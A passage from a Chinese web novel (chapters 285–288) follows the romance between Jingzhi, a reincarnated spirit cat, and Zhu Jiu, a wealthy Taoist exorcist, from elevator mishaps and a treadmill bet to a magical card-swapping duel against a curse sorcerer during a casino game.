刚刚清浅的滴一声,朱九没听到。 这一长串的滴,和她慌乱的“否否否!”直接让他在面具后扬起一个大大的笑容。 索性他也做好了。 朱九摘下手套和面罩,朝着那个低头对着表小声嘀咕的人走了过去。 面罩被他一把扯开。 露出她惊慌失措,满面潮红的脸。 “抓到你了。” “这回,你可是坐着的,很久都没动过呢。” 静之慌乱的站起来,捂着手腕一路冲到电梯口,狂摁墙边的三角标。 突然,摁电梯的那只手被他拿住,腰也被他从后面轻轻揽住。 电梯门一开,两个人向内踉跄两步。 电梯门关上了。 朱九开灯了。 六面镜下,她脸上的羞意和动情被明晃晃的照了出来。 “静静,你心里是有我的,接受我……好不好?” 太丢脸了太丢脸了!! 静之一把推开她身后还在询问的朱九,脚下一蹬,一跃而起,一拳锤爆上头的白炽灯。 整个电梯里瞬间陷入一片黑暗。 上升的感觉停止。 朱九都快气笑了。 “静静……这电梯跟灯,用的是同一条线路。” 他啥意思? “也就是串联了。” “我们两个,被困在这里了。” 那又咋了,怕个锤子。 她有的是力气和手段。 静之开始徒手掰电梯门。 还真被她掰出一条小缝。 微微的光线和空气透进来,朱九眼皮轻跳,幽幽说一句: “这电梯20万。” 静之瞬间放手,还小心翼翼蹭了蹭门上的手印,“那什么,还是打个电话叫人来修吧。” “我,我只买得起灯嗷。” 朱九:“这灯也是定制的,一个一万二。” 静之用力抹了把脸,拿头怼着旁边的玻璃。 万恶的有钱人,我跟你们拼了! 怼到一半,一只手挡住她的额头,“整面的镜子墙更贵,5万。” 静之:“!!!” “我,我赔你灯。” 她果然是这别墅里最穷酸的那个。 透过中间的缝隙,她可以看到电梯卡在两层楼中间。 上半截里面是成面墙的黑色坛子。 尴尬到极致的静之,赶紧随便扯个话题,“哈哈,这是负二楼吧,里面都是你这些年抓的鬼吗?” “……嗯。”朱九闷闷不乐。 她老是这样,一提到正事,就顾左右而言他。 “哎呀,你别这样嘛。”静之朝他竖起两根手指,“我还你两个灯,你别不开心。” 是灯的事吗?啊? 朱九都想凑上去咬她一口了。 算了。 她的性子他也算了解到一点。 逼不得。 朱九把大拇指往指纹口里长按。 随着长长的一声嘀,电路重启。 首先是脚下的地板亮起来,紧接着是四面墙,就天花板不亮。 右侧的按钮也亮了起来。 电梯门重新合上,朱九上前摁了一楼。 抿了抿嘴说:“我们上去吧。” 现在光源充足,他垂下的眼角尽显落寞,搭配上他湿漉漉的头发,像只被水浇湿的可怜大狗。 静之一时心软,扯了扯他腰后的衣服。 “你…………” “你给我点时间……让我想想。” 朱九猛的抬头,落寞的双眼此时亮得像两个探照灯一般。 “你……你是说……” 静之收回手,抱住穷酸的自己,傲娇的别过脸。 “我什么都没说……” 她就是不想看他那副垂头丧气的样子而已。 “你说了!!!” “滴——” 看着在她旁边一顿否的朱九,静之暗暗叹了口气。 他怎么如此执着呢? 还有她这心软的毛病,什么时候能治一治? 第285章 赛跑 两人从电梯里出来时,正巧遇到从二楼下来的豆豆。 看到朱九脸上大大的笑容,她忍不住举起手机咔嚓了一张。 呦,还真没见二叔这么笑过。 难道这就成了? 静之看到她在偷拍,捂着脸就冲上楼去了。 朱九则是走过去朝豆豆轻轻颔首。 “有空麻烦把照片发我一份,别以为我没看到,你拍我们两个好几天了。” “嘿嘿,没问题!” 豆豆朝他比了个ok,又凑近问一句: “静之姐……她答应跟你交往啦?” 朱九听着哒哒哒往楼上跑的声音,轻咳了一声,“还没有。” 豆豆的笑容僵在脸上,嘴角渐渐回收。 “那您这么开心做什么?” 朱九握紧手中半湿的发带,嘴角不受控制的向上扬起,“她说给她一点时间,她会想想的。” 嗐,这不就是推脱之词嘛。 亏她还兴奋了一把。 豆豆把手机往兜里一揣,抻了抻胳膊,朝朱九说: “您二楼的健身房借我用一下,不能出去,我都快长毛了!” “行,你用吧。” 他要上去洗个澡。 如今跟她住隔壁,他要保持绝对的干净体面,最好能显年轻,反正不能邋里邋遢的。 …… 楼上的静之,此时也在泡澡。 有钱就是爽,连浴缸都是智能恒温的。 应该是黄姨进来收拾过,豆豆用过的痕迹都不见了。 白色浴缸旁边的台面上,还多了一整排装在木质收纳盒里的精油。 静之湿漉漉的手指被泡得泛起一层淡淡的粉色,她侧身趴在台面上,随手拿起一瓶瓶包装精致的精油轻嗅着。 都是一些清新淡雅的味道。 这些,应该也是他叫黄姨准备的吧。 上上辈子的林九,喜欢送她香水。 这辈子他倒是给她备上精油了。 本想挑一瓶往水里滴一下试试。 她又突然想起在电梯里他报价的那一幕。 这些……不会也都是上万块的吧? 算了,长个心眼,她拍个照搜索下价格先,以免到时候赔不起。 一分钟后。 精油被好好的放回原位,又被小心往里推了推。 “我去,得亏我还没开。” 精油用不起。 就跟他这个人一样。 朱九富到静之都觉得自己配不上他了。 这辈子的他除了i一点,真的毫无缺点。 甚至他那ii的性格,在静之看来,也是个优点。 静之昂起头枕在浴缸边缘,看着天花板上低调却不失奢华的吊灯,幽幽叹了口气。 “抱歉了,小i人,我又想退缩了。” “你自己一个人,一定也可以好好的。” “毕竟……有大把的钱陪着你呢。” …… 逃避虽可耻,但十分有用。 退缩了的静之脸不红气不喘,又回到了原来的样子,吃嘛嘛香。 甚至还会笑着跟朱九调侃几句了。 以免引起他的兴趣,她甚至穿上了一身白的运动服,头发简单扎成个马尾,素面朝天,连口红都不涂了。 朱九眉头一皱,敏锐的觉得事情不太对劲。 她洗个澡的功夫,这是怎么了? …… 猜想他累了一早上,应该没功夫运动,静之趁着他不注意,直接躲到二楼健身房。 这里比之专业的健身房,也毫不逊色。 各种哑铃,跑步机,单车,瑜伽球,东西整整齐齐排列着。 一进门就可以看到整面的落地窗,窗外就是二号别墅的超大游泳池。 视线再往外瞧,横亘在道路外头的,是成片的浅金色沙滩,以及和天际连成一线的大海。 视野好得一塌糊涂。 静之突然对朱九的钞能力有了新的认识。 仅仅因为他的法器跟装鬼的坛子放不下了。就买了栋别墅放。 试问还有谁?! …… 右侧的玻璃隔间里传来动感十足的音乐,她侧过脸一看,豆豆在里面踩单车。 可能来了许久,她额头满布的晶莹汗珠,就算是在外头的静之,也能瞧得一清二楚。 豆豆穿着灰色的运动背心,和瑜伽裤,看起来个子小小,想不到身材还挺好的嘛,看起来就活力十足。 “豆?一起吗?” 静之伸个头进去,豆豆拧了一下自行车上的重力键,慢慢缓下速度。 她拿起车旁的水杯吸了一口水,刚想跟她说话,瞧见她身后来人时,豆豆眸光一闪。 “不啦,我都来一个多小时了,今天运动量够了,掰掰!我回去休 息啦。” 她施施然走了,动感音乐还在继续。 来都来了,要不动一下先? 百无聊赖的静之来到跑步机上,操纵了几个按钮。 速度调到3,先热热身。 她还设置了定时,以免等会朱九午休时间过了,又来缠她了。 她得逃。 “真巧,你也来运动。” 旁边突然出现一道声音。 给专注定时的静之吓一跳。 “你怎么来了?这会儿你不是应该睡觉去了吗?” 朱九看着她脸上的礼貌微笑,轻轻蹙了蹙眉头。 “你说好会好好想想的。”他提醒道。 静之从他身上收回目光,把速度调到4,慢慢跑了起来。 “会啊,有在想。” 朱九抿了抿唇,半信半疑的从旁边架子上拿过来一瓶矿泉水放在她手侧放水的格子上。 “那就好。” “我今天不困,一起运动会儿吧。” 静之余光偷偷瞄了他一眼。 她极度怀疑朱九是不是开她衣柜看过。 她这套运动服可是第一次穿。 他现在身上穿的,是纯黑色运动服,logo又一样,明显又是情侣款。 他们两个现在,就如同那八卦上的黑白两极,各占一方。 算了,现在纠结这些有什么用呢? 跟他做个朋友也很好不是吗? 静之侧头对他笑了一下,“好,豆豆不陪我玩,你陪我玩一会儿。” “咱们来比比耐力,看谁跑得更久。” 朱九侧首瞄了一眼她跑步机上的速度,跟着把自己的机器调成一样的,“好。” 他浅褐色的双眸微微一深,“光比没意思,赢了的话,你答应我一件事。” 静之立马提起警惕。 “不许直接让我答应你,我都说要想一想的。” 呵,她真是他心里的蛔虫。 跑起来的朱九朝她清浅一笑,“那……如果我赢了,一个礼拜后你要告诉我答案。” 静之:“一个月!” 朱九“半个月。” 静之:“三个礼拜。” 朱九顿了顿,坚持己见,“就半个月。” 边说着,他扶着两侧的扶手,对她使用眼神杀。 静之败了,一败涂地。 她红着脸,别过头小声哔哔,“半个月就半个月。” 蹲守在健身房门口的豆豆,犹如最专业的狗仔,她举着从朱八那儿借来的专业照相机疯狂拍照。 “这个好这个好!” 她愿将之命名为:【静之逐渐被老狐狸攻陷的一天之健身房打赌篇】 …… 为了增加难度,坏心眼的小猫伸手过去,把朱九的速度调成5,坡度调成2。 在朱九看过来时,她一脸无辜回望。 “我也是这样的,你害怕啦?” 见鬼的时候他都没怕过,这种关键时刻怎么能说害怕。 朱九轻轻哼笑,“不怕。” 小傻猫,她真是太天真了。 他没事就在整个别墅区的外圈跑,最高记录32圈,耐力嘎嘎好。 他就不信他跑不赢一只小猫。 十五分钟过去了。 两个人身体微微发烫,还能相视一笑。 三十分钟过去了。 两人的额头皆冒出微微的汗水。 朱九突然开始正视这场战斗,静之则是呲着个大牙朝他傻乐。 嘿,她就算是当人的时候,长跑也是一级棒,根本没在怕的。 在外头录视频的豆豆不禁啧舌。 看来她静之姐那张简历的含金量还在稳步上升。 一个小时过去了。 两人满头大汗。 惯耍无赖的静之也终于开始正视这场比试。 但她不想用灵力,论身体强度的话,灵猫的肉身本就比人类强悍,还用灵力的话,就是妥妥的作弊了。 看着左边呼吸变粗的朱九,静之有些担忧,她轻喘着说: “九哥,要不别比了?一个小时了,可以了。” 朱九这时候也跟她杠上了,仿佛要证明自己非常行,他严词拒绝。 “我朱九一言既出,驷马难追。” 静之:“……” 论好面子,他这辈子也是第一名。 跑就跑,不过是大腿发酸,脚底板发痛而已,她还能忍。 豆豆:这俩简直天生一对,犟到一块儿去,倔牛一家。 一个半小时后,瞧着他面色发白的模样,静之终于主动认输,摁停了他跑步机上的按钮。 还得装作要累死了的样子,瘫坐在墙边的长凳上捶着腿,“呼……二哥你牛,我……嗬……我不行了……腿要断了。” 朱九拖着酸痛的腿走到她面前蹲下,手刚搭上她的小腿,静之差点条件反射把他一脚踹出去。 “你,你干什么?” 朱九拿脖子上的毛巾抹了一把汗水,然后把她僵硬的脚抱起,搁在他膝盖上。 “跑完得按按,不然隔天会很酸痛的。” “不,不用了。”静之把住大腿用力往回扯,朱九死死揪住不放。 他接着说:“不捏捏,会变成肌肉腿。” 静之:“……那行吧。” 豆豆:好家伙,这才是有效沟通! …… 学过医就是不一样,朱九摁的力度挺大,小腿肌肉给他摁得酸痛无比。 静之一整个龇牙咧嘴,朱九每次一抬头,她又恢复那副没心肝的笑脸( ̄w ̄)。 这一变脸,简直给门外的豆豆整乐了。 她姐可真是乐子人! …… 觉得朱九光给她按太不好意思,摁了一会儿,静之就拉起半蹲在地上的朱九,让他坐在凳子另外一头。 然后把他的脚强行扯过来,放到她腿上。 朱九泛白的脸一下就红了。 “你,你干什么???” 静之朝他挑了挑眉毛,“不准抄袭我的话。” “你帮我按摩了这么久,不给你按按好像说不过去,你放心,我推拿技术很好的。” 梁家最出名的就是骨科跟推拿,她也算是学到精华了。 看见朱九还在往回拔腿,静之把住他的腿,用力摁了一下他的麻筋。 “不准抄袭我的动作。” 朱九立马僵住,腿麻得很,跟过电一点,非常酸爽。 “我,我回去自己捏捏就好。” 他紧张到甚至都把身下的软凳表皮抠出几条白线了。 静之想了想他的性子,突然提一句: “明天你不是要跟乃猜背后的那个降头法师斗法,你不怕到时候腿脚酸痛,斗不过他吗?” 朱九默默松了力道,脸红得能滴血。 “你,你摁吧。” 他突然快快补充一句,“摁小腿就好。” 静之:“知道啦~” 她又不是傻子,摁大腿多暧昧。 豆豆慎重点头。 原来跟二叔的有效沟通方式,是跟他讲正事。 也对,毕竟二叔在正事上,从不掉链子。 她默默打开了相机的录像功能,然后把镜头放大,聚焦里面的二人。 静之摁得专注,朱九也看得专注。 当初她说她会中医,看来还真是。 静之觉得头顶那块儿的皮肉,都快被朱九的视线烤焦了。 给他摁得差不多后,她又坏心眼的摁了一下他的麻筋。 这一下,朱九的眼前仿佛闪过了一片雪花。 麻死了。 她可真坏。 但为什么他心生欢喜? 是因为她不符合规矩的越界举动吗? 朱九觉得自己也快坏掉了。 瞧见她要走,朱九赶紧瘸着那条麻腿上前,一把扯住她。 两人回头之际,豆豆抱着照相机利落一个翻滚,躲到墙后,打开手机的录音功能…… “咱们说好的,我赢了,半个月后你要答复我。” 静之脚步微顿,旋即扯回袖子,朝他扬了扬手,“知道啦知道啦。” 见她出门了,朱九跟了上去,“这半个月不许躲我。” 静之越走越快,不躲是傻子。 “知道啦知道啦~” 朱九:“先按照朋友一般相处,别敷衍我。” 静之打开自己房门,然后把朱九锁在门外。 “知道啦知道啦~” 他指尖微动,抬起手轻轻叩了一下门板,“你现在就在敷衍我。” 静之脱下那块达到临界值的手表,捂着乱蹦的胸口,背对着门,侧过头小声说: “就敷衍你。” 朱九头抵住门板,又是委屈,又是想笑,他低低说了句,“我听到了。” “……你很过分。” 静之突然转过头,头也抵住门板,想象着他的样子,在她上首的门板上,轻轻烙下一吻。 “是,我很过分。” 所以,别这么喜欢我。 她侧过头,脸贴在门板上,看着被扬起的纱帘包裹住的林九雕像,几乎是用气音嘀咕了一句: “九哥……我其实…很害怕……” 朱九没有说话,只是抬起左手搭在门板上,仿佛这样就能感受到她的温度。 她到底在怕什么? 她的前男友是怎么死的? 是不是只要他研究出来那个防护阵,就能减少一些她的惧意了? 朱九毅然决然,转身回了房。 他要回去好好研究研究。 离去的朱九没有听到那句随风悄然飘散的呢喃之语。 “九哥,我怕……再次失去你呀……” 第286章 不用你还钱 晚上的时候,豆豆突然找来了众人,把她手机给他们看。 豆豆面向朱九,俏丽的脸上尽是担忧。 “二叔,对方用我姐的手机给我发短信了,他们说,明天不来港区,要叫阿祥还有我,带上资料和赌资去乃猜在澳门的地盘赌。” 她点了点手机屏幕,“地址就在上面。” 静之的眉头霎时就皱了起来。 “这不是羊入虎口吗?不管输了赢了,在他地盘上,还不是他做主?到时候他想放个冷枪,你俩都没地方躲。” 阿祥则是瞧了脸色阴沉的朱九一眼,结结巴巴的说: “二叔,我,我没有赌资,你能不能,能不能……” 朱九从内衬口袋里掏出一张卡放到桌上,推到他面前。 “你如今也大了,这个东西,我该物归原主了。” “这是你死去的老爸留给你的家产,希望你能好好守住,别学你三叔。” 朱八挠了挠脸,假装没听到,把头凑过去看了一眼手机上的地址。 刚看清地址,他就猛拍阿祥的肩膀。 “喂喂,你看这个地址,是不是我们上次去的那里啊?” 阿祥凑过去一看。 “还真是。” “二叔,我们去吗?” 朱九放在桌上的手,食指不紧不慢的敲击着桌面。 思忖了许久,朱九作出妥善的安排。 “二弟,你有一定的法术基础,你去对付那天迷惑阿祥的妖女。” “豆豆,你身手好,而且你又是被指名的,这回,要麻烦你保护一下阿祥了,你跟他一起进入赌场,进去前,你们在衣服里面穿一件防弹衣再进去。” “而我,我去对付那个降头法师。” 静之指着自己鼻子问,“那我呢?” 朱九顿了一下,才转头和她说: “你打电话叫警察在赌场外待命,就说有人谋财害命,尸体就在里面。” “打电话?” “我?” 静之满脸不悦,“九哥,你是不是太大材小用了。” “打电话随时都能打,我想跟你一起去对付那个法师。” 朱九闭了闭眼。 他就知道会是这样。 她莫名的,非常在意他的人身安全和情绪。 朱九站了起来,走到楼梯口,回头对她说: “你跟我来一下,我有个东西要给你。” 静之:“什么东西?” 朱九看了看她身后那六只好奇的眼睛,忍不住轻咳一声,“你上来就知道了。” 豆豆开始拱她,“快去呀快去呀!!” 朱八随之起哄,“哦~~” 阿祥小小声,“哦~~~~” “哦个……”屁说到嘴边,感受到静之看他的目光,朱九把脏话收了回去。 他涨红了脸,瞪了他们两个一眼,朝朱八说: “赌场上的规矩,我想你已经很清楚了吧。” 朱八提到这个,尾巴都快翘到天上去了,“那是,麻将骰子牌九,我样样精通!” 朱九冷笑一声,“那就麻烦你给阿祥好好科普科普了,别到时候闹了笑话,把他爸爸的身家给输光了。” 说完,他朝静之招了招手,“走吧。” 静之亦步亦趋跟在他身后,不时望向他冷淡的侧脸,“那个……三叔这几天好像真没赌了,我看这回他是真心想改,你不要生气嘛。” 三楼走廊处,朱九突然回头。 “你为什么老是怕我生气?” 静之怔在原地几秒,随即朝他笑了笑,“你收留我,对我很好,我当然会想报答你,想让你天天开心,笑口常开呀。” “那就跟我在一起。” 朱九紧了紧微微湿润的手心,“这样我就天天开心了。” 静之扶着栏杆微微收紧手指,“那什么……还不过一天呢,说好给我半个月时间,你可不能赖皮。” “别说这个了,你说要给我东西,拿来呀。” 她朝他摊开手。 朱九看着她白里透红的手掌,暗暗叹了口气。 唉,又失败了。 朱九转身朝房间走去,“在我房间里,我拿给你。” 静之走到他房间门口就止了步,“你……你拿出来给我,我在这里等你。” 朱九站在房间里转过身来。 “你怕我?” “不至于。”静之背着手,捏着自己的手指随意扯了一个理由,“我一个女人,不好直接进入你房间。” 朱九差点憋不住笑了。 她在一号别墅的时候,连着三天半夜闯入他房里,门锁也挡不住她。 现在她跟他说不好直接进来? 呵。 他朱九既然动心了,怎么可能让她撩了就跑。 不过 对她,需多些退让和耐心。 朱九朝她点点头,回房取东西去了。 静之走到走廊尽头,把窗户完全打开,让月光洒进长长的走廊里。 她昂起头看着几近圆形的满月,在心里默念。 【老天爷,我可没跟他在一起,你一定要保佑他明天平平安安的,千万别出什么差错。】 “看什么呢?” 她的肩膀被轻轻拍了拍。 静之身形微顿,倚着窗框转过身来,“东西呢?” “你低头。” “?” 朱九背着手,突然想耍一点无赖。 “你不低头我不给你。” 静之:“……你以前不是这样的。” 朱九朝她抿嘴微笑,“我会越变越好的,你相信我。” “……” 他俩说的是一个东西吗? “我是说,你以前没这么……嗯,活泼。” 朱九:“你是说我以前死气沉沉吗?” 静之:“……那倒也不至于,就是酷酷的,话很少。” 朱九:“那你喜欢什么样儿的?” 静之:“我喜欢……” 她突然住嘴。 也许是美好的月光给了她述说的欲望,她差点就被他把心事挖出来了。 她轻抿嘴唇,回归正题,微微朝他低下头,“低头了,然后呢?” 朱九望着杵到他眼前的白色发旋,突然低头轻啄一口她的头发。 感受到触之即离的那点温度,静之先是一愣,两侧的耳朵肉眼可见的变红。 她气急败坏,想抬起头,骂他一句,头顶就轻轻被他按住。 “别生气,别动。” 静之气得脸颊鼓鼓,“你……你臭不要脸,我们还没在一起呢!你流氓!” 朱九将东西套进她脖子后,就后退一步。 “嗯,我流氓。” “你!” 她胸前的挂坠吸收到月光,涂了朱砂的法阵突然一闪一闪的,亮起了红光。 骂骂嘞嘞的静之瞬间被转移视线。 她低着头,捏起那个熟悉又陌生的小猫挂坠打量。 “你干了什么?它怎么会发亮?” “还有,这东西我给你了,就是你的了,你不用再给我。” 朱九伸出食指轻轻摁一下小猫脖间新增的铃铛,红光瞬间内敛,恢复了原本的模样。 静之看着玉猫脖间的小小金色铃铛,不禁开始怀疑,林风是不是在这一世的脑子里种下了什么记忆。 这玩意儿,跟她放在识海里的那个铃铛好像啊。 这个世界挺安全的,她已经很久没戴过了,突然这么一看,她还真有这些想念。 突然,头顶又被啄了一口。 静之猛的一抬头,直击朱九下巴。 他捂着嘴,满眼委屈看着她。 “静静……我情不自禁……你……我流血了。” “你活该!” 她边说边掰开他的手,查看他的嘴。 果然,嘴唇被牙齿磕出一个口子,此时正沁出一颗鲜红的血珠。 她皱起眉头,扯着他的袖子,把他拉进她房间。 她连抽两张纸对折,然后一把摁到他嘴上,“自己摁着,谁叫你不老实。” 朱九摁着纸,好似邀功一般,指了指她脖间的吊坠说: “之前这吊坠上的阵法不知道受了什么撞击,已经有所损坏。” “我稍稍改良了一下,有人攻击你的话,它会自动在你身边弹出一个小型结界,子弹都打不穿的。” “这回……你不用害怕了。” 他是听到她下午的那句低声私语了吗? “既然它这么好使,那我希望是你戴着它。” 静之挑起绳子就要摘下,朱九赶紧一把摁住红线,“不用,虽然不知道你有何害怕之物,带上它,你会更安心一些的。” 静之突然抬起眸子,定定看着他。 傻子。 他戴着,她才会更安心啊。 【朱鹤:喂,小九啊,我听到她的心声喽,你想不想听啊?】 朱九的脑海里突然炸开一句话。 他轻眨了一下眼皮,立刻在心里赶人。 【麻烦您回隔壁去修行,我说过了,我自己的感情问题,我自己会解决。】 【朱鹤:她在她心里叫你傻子诶,她说她更安心的方法就是………………】 朱九眼皮轻跳。 那个混蛋,话说一半就这么走了?? 玩他呢?! 朱九认真的看着眼前的静之,突然说: “我不傻。” 静之:“呃……” 他怎么知道我在想什么? 难道他有读心术? 在静之识海里的金童眼观鼻鼻观心。 朱鹤比他级别大,他是地仙,朱鹤是金仙,他还是闭嘴好了,以免日后遭人家报复。 朱九胳膊拧不过大腿,还是被静之强压着把项链带上了,偏偏她的理由还无法反驳。 “我知道你的心意,那至少你明天戴一天嘛,等这件事一过,你再还给我的话,我保证不跟你推脱。” 朱九低头看了看挂坠,又眼含期待看着她,“你关心我啊?” 静之大方点头,“当然喽。” 朱九还没来得及乐上几秒钟,她就开始一顿输出。 “你是我房东嘛。” “我也关心豆豆,三叔,阿祥,还有我们书法班的店长敏姨。” 朱九:他刚刚为什么要多嘴问这一句? “那……我戴一天就还给你。” “没问题!” 这样的话,她是不是要把卖挂坠的钱一起还他啊? 静之顿了一下,接着说: “等我发工资了,我会把之前你给我的钱一起还你的。” 她拍了拍胸脯做出保证,“你放心,我工作在这儿,单位你知道的,我不会跑掉的啦。” 朱九:6。 “你……跟我牵个手,钱就不用你还。” 静之义正言辞的拒绝: “不行,我是那种人吗?你简直过分!” 朱九缓了缓,又说一句: “地下室的灯也不用你赔。” 静之忽然一把握住他的手,甩了两下,又称兄道弟般,猛拍了两下他的肩膀。 “好同志,你可真是太善了!!” 朱九:这个手牵的,一点私人情感都没有,更别说营造出哪怕一丁点儿的暧昧氛围了,他失算了…… 害怕静之下一秒突然拉他入党,朱九扯了扯嘴角,赶紧回了隔壁房…… 第287章 你最重要 穿着黄袍开商务车的道士你见过吗? 静之见过。 此时她撑着脸,侧头看向朱九。 “九哥,你非得现在就穿上吗?刚刚都被交警拦一回了。” 朱九点头,拦就拦呗,穿个道袍又不犯法。 他垂眸看了眼显示屏。 “还有半个小时,敌人可不会给你时间准备,先穿上好。” 边说着,他问一句坐后排的朱八: “你交代得怎么样了?阿祥都学会了吗?” 朱八:“规则是学会了,就是这气势嘛,怂了点。” 朱九看了一眼后视镜。 阿祥坐在他侧后方,虽然穿着正装打着领带,但是弯腰含胸驼背,两眼无神,一看他就来气。 “阿祥,抬头挺胸收腹!别跟个鹌鹑似的,丢我们朱家的脸。” 阿祥浑身一震,胸部瞬间挺得跟汤姆猫似的,脸上却是欲哭无泪的表情。 论赌博的功夫,他赢不过三叔。 论气势,他二叔说第二,没人敢说第一。 他果然是干啥啥不行的废物点心。 瞧着这样的阿祥,朱八也跟着发愁。 他从包里掏出一罐东西递给他。 “乃猜赌博的时候,气势十足。” “你面上可千万别露怯啊,不然他大手一挥,直接跟你梭哈,你就算有四条A,你都不敢跟哦。” “是这样吗?”阿祥接过罐子,看了一眼上面的字,“收缩膏?这干嘛使的?” 朱八:“给你涂脸的,你瞧你那怂样,你拿到什么牌,肯定都表现在脸上了。” “跟他赌的时候,你就往脸上涂一点,让你的脸变僵,扰乱对方的猜测。” 阿祥:“哦~,还能这样啊!” 静之浅笑着回头,“三叔你倒是挺有办法的嘛。” 朱八神气的扬起下巴,“那可不。” 朱九吐槽一句:“他那都是歪招,阿祥你从明天开始,就给我上三楼好好打坐一个小时,精气神足了,我就不信你还会如此萎靡不振。” 阿祥欲言又止,“你,你那边三楼?” 静之觉得她都能听到朱九白眼翻到后脑勺的声音了。 “一号别墅三楼。” 他还想上二号别墅三楼? 门都没有。 反正阿祥也是他的后代,朱鹤应该不至于不看着点吧? 朽是朽了点,再练练还是能要的。 …… 静之顿了顿,回头看向最后一排的豆豆,“豆,你防弹衣穿了没有啊?” 豆豆抱着坛子正跟她姐说小话呢,听到静之cue,立马抬起头, “穿了穿了,你就放心吧。” 朱九瞥一眼压根就没贴符的坛子,跟旁边的静之说: “你打完电话,要不带着少少的魂去找找她的尸体?” 静之愣了一下,随即侧过身子摇头,“我是很想去,但是你最重要,看你跟法师斗完我就去。” 他,他最重要? 她知不知道她无意间说出的一句话,对他的杀伤力有多强? 少少:有没有伤到他她不知道,反正她是被伤到了。 “嘭”的一声,少少直接出现在静之后座,阿祥边小声哔哔,边往朱八那边蹭。 少少才不管他,她两手向前,扯住静之的领子摇晃,“他最重要?你不是说我是你最好的闺蜜吗?你这个负心汉?” 静之扯一扯快被她揪成露肩衣的领子,一脸平静的说: “你跟他不一样,你是女生里面我最要好的闺蜜。” 豆豆看热闹不嫌事大,“静之姐!你再这样我要闹了哦~~” 静之:(′?_?`)莫慌,她还能掰。 “你是小女孩里面,我玩得最好的玩伴。” 豆豆跺脚,“我今年二十三了!” 静之低下头,认真的掰手指数着,完了,活的太久,她也不知道她多少岁了。 “好了好了!快到了,安静一会儿。” 最大受益人——朱九适时出来打个圆场。 反正他被静之一句话说爽了。 …… 一脚油门踩下。 被静之说成小女孩的豆豆下车了,此时穿着一身黑色紧身连衣裙,头发卷成了大波浪,又性感又高冷。 阿祥在旁边看得口水都快流出来了。 他支起臂弯,眼巴巴看着她。 豆豆斜了他一眼,轻哼一声,两只手指捏住他一点衣服,跟他一同走了进去。 送他们两个进去后,朱九开着车直接绕到后门去。 刚到后门,穿一身黑衣的朱八也下车了。 平时看着虽然很不靠谱,没想到避开保安的时候,动作倒是蛮利索的嘛。 朱九静待静之打完报警电话,就带着她下车。 看着开后备箱的朱九,静之赶紧上前帮他把神坛搬出来。 “就在这儿比?游泳池诶。” 后院乌漆麻黑的,纯纯靠游泳池池边的小灯照明。 淡蓝色的水波光粼粼,静之透过缠满绿萝的篱笆可以清楚的看到,左前方五米跳台上有个摆好的桌子。 隐隐约约的血腥味从院子里飘了出来。 她眉头一皱,揪住朱九的道袍广袖晃了晃,“你一定要小心点,我闻到血的味道了,我怕他使坏。” 朱九关上后备箱的门,轻轻拍了拍她的手,然后捏起脖间的小猫朝她秀了秀。 “今晚月色很好。” 静之:“……你啥意思?” 看着自动开启的铁艺大门,朱九就知道里头的人发现他们了。 他推着神坛往里走,边不动声色的打量周围。 看来对方是个自大的人。 后院除了法师一人,竟连个喽啰都没有。 朱九这时才有闲心跟她解释,“只要有月光,它就能发挥出最大的作用,你放心吧。” “哈哈哈哈哈,臭道士,斗法讲究坛高者胜,你的坛这么矮,今晚我定让你有来无回!” 对面法师可能是不爽对面两人窃窃私语,不把他放在眼里的样子,直接发动嘲讽技能。 朱九懒得理他,他递给她一个“我就知道”的眼神,问她一句,“你要上去吗?” 静之用力点头,“当然。” “可你这站台有点窄,我怕影响你发挥。” 朱九摁了一下桌子侧边的按钮,一米长的站台立刻往外延伸出半米。 “够了够了,走走走,对面那个人要不服了,你快上去把他的红色发带打掉,他是个学人精,他学你。” 朱九蓦地想起昨天那条淡蓝色的发带,看向法师的眼神里瞬间带上几分不爽。 他挑起挡住神坛的黄布,朝对面冷哼一声,“这叫茅山现代化。” 随着他一声反嘲讽,站台上的两人开始缓缓上升。 神台下的黄色布符渐渐展开来,【驱邪治妖】四个大字,差点把对面的法师气了个仰倒。 同是修行中人,他怎么就变成反派了呢? 人为财死,鸟为食亡,他才不是邪! 法师定睛一看,对面的坛居然还比他的高出半米,不禁暗暗咬牙。 “略略略,气死你!” 跟谁不会嘲讽似的。 静之对他做完鬼脸,一脸兴奋的朝下看,“九哥,好高啊,还能再高吗?” 朱九环着胸,锐利的眼神对上对面的法师,低低哼笑,“是还能再高一些,不过对付他嘛,这么高就够了。” 法师的胸肌不断起伏,还没开始比,他就要被对面这一男一女的嘴毒气死了! 第288章博弈加斗法 静之轻轻摁一下藏在头发下的无线耳机,连线豆豆,偏头耳语。 【静之:你们那边怎么样?】 【豆豆:阿祥看着傻傻的,没想到还真被他赢了一把诶,赌注一千万,他一把就赢了两千万了!】 静之的眼睛瞬间变成钱钱的符号。 我靠,不能动心,黄赌毒黄赌毒,赌都拍在毒前面了,一定更恶心! 有钱有颜又有闲的朱九她都顶住了。 区区两千万而已,她一定也顶得住。 【静之:反正你们小心一些,随时跟我报告异常,我看对面法师要出招了。】 【豆豆:现在新开了一局,阿祥的牌面是红桃的10,j,q,k,对面……是黑桃的10,j,q,a,他就差根老k了,我去,不会要输了吧。】 静之脸色一肃,立马看向朱九。 就这么一会儿的功夫,朱九已经跟对面斗起法了。 面前的水瓮中,一张牌的影像渐渐浮起,是红桃a。 静之紧盯对面的法师,凑近朱九耳边,悄悄问: “是阿祥的牌?” 朱九变幻手势,直指水中的牌。 “是,不过他想换牌。” 换牌? 静之收回盯人的目光,看向水瓮。 却发现那张a的表面开始浮动出k的人头像。 再抬头看向法师,却见他正咬着半截蜈蚣,朝她笑得一脸阴邪。 “我去,搞这么恶心干什么?” 【豆豆:你说什么?】 静之赶紧扶住耳机,提醒她: 【你快让阿祥看看他的底牌,是不是变了?】 交代完豆豆,目光落到朱九身上的时候,却见他满头大汗。 欺负我男人?! 静之咬牙切齿,刚想动手,脑子里却不合时宜弹出金童的声音。 【金童:他们在用精神力斗法,你千万不要打断啊,不然一个不慎,精神力受创,神君这辈子就变白痴了。】 【静之:你但凡……你但凡有一次冒出来是跟我说好消息,我都不会这么想打你!】 识海里,金童抱住圆圆的自己,一脸无辜,他还是闭嘴吧,省得她真追到识海里打他。 水面的牌仿佛根据他俩的精神力浮动,一会儿显示黑桃k,一会儿显示红桃a。 耳机里突然响起了豆豆强壮镇定的声音: 【变了变了,一会儿k一会儿a,可阿祥刚刚为了在气势上压倒乃猜,已经梭哈了,二叔要是斗法失败,我看他这辈子就要变穷光蛋了!】 【静之:啊?】 